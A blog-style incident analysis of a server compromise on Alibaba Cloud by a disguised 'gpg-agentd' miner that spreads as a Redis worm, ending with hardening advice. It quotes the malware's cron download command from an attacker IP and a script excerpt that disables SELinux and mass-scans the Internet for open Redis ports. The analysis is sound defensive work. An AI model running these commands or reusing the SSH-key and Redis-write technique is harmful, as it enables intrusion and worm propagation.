Uncovering the gpg-agentd Malware: How an Alibaba Cloud Server Was Compromised
This article walks through a real-world intrusion on an Alibaba Cloud CentOS server, detailing how a disguised gpg-agentd process was used to install backdoors, hijack SSH keys, exploit Redis, and launch mass scanning, and provides concrete hardening recommendations to prevent similar attacks.
0x00 Background
On a Monday morning the author learned a server had been frozen by Alibaba Cloud for "malicious outbound traffic". After a quick SSH attempt failed due to a blocked port, the port was changed and access was regained, revealing a root login with a weak password, indicating a compromise.
0x01 Clues
The compromised CentOS 6.x server ran nginx, tomcat, redis, etc. After backing up databases, the author noticed two processes named
gpg-agentdconsuming 99% CPU.
Research showed that GPG's
gpg-agentcan support SSH, but the trailing "d" suggested a disguised malicious program.
<code>ps eho command -p 23374
netstat -pan | grep 23374</code>The process path led to a suspicious binary, raising two questions: how was the file uploaded, and what is its purpose?
0x02 Motive
The discovered cron job downloads and executes a script every 15 minutes:
<code>curl -fsSL 159.89.190.243/ash.php > ash.sh</code>The script (ash.sh) performs the following:
1. Disables SELinux and raises resource limits. 2. Adds an SSH public key to /root/.ssh/authorized_keys for password‑less access. 3. Installs bash and runs a second script bsh.php .
The second script (bsh.php) is longer and carries out four main actions:
1. Downloads remote code, makes it executable. 2. Modifies /etc/rc.local for persistence. 3. Downloads the open‑source scanner masscan from GitHub and installs dependencies. 4. Executes a third script.
Key excerpt from the script shows masscan usage to scan Redis ports (6379, 6380) across large address ranges, then uses Redis commands to write malicious configuration files that embed further cron jobs.
<code>setenforce 0
ulimit -n 50000
ulimit -u 50000
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
... (omitted for brevity) ...
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
</code>The script ultimately leverages a Redis misconfiguration (no password, bound to 0.0.0.0) to write files via the Redis "config set" command, planting SSH keys and cron jobs, then scans the Internet for other vulnerable Redis instances, creating a fast‑spreading worm.
0x03 Summary
By analyzing the three scripts, the author concludes the malware first injects an SSH public key for persistent access, then repeatedly downloads and runs binaries, and finally abuses an unauthenticated Redis instance to propagate across the network. The initial breach likely stemmed from a brute‑forced root password, as evidenced by numerous entries in
lastb.
0x04 Security Recommendations
Server 1. Disable direct root login. 2. Use complex usernames and passwords. 3. Change the default SSH port. 4. Install brute‑force protection such as DenyHosts. 5. Disable password authentication; use RSA keys.
Redis 1. Do not bind Redis to public interfaces (avoid 0.0.0.0). 2. Require a password for access. 3. Run Redis under a low‑privilege account.
The author invites readers to test the scripts in a controlled environment and welcomes feedback on any oversights.
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.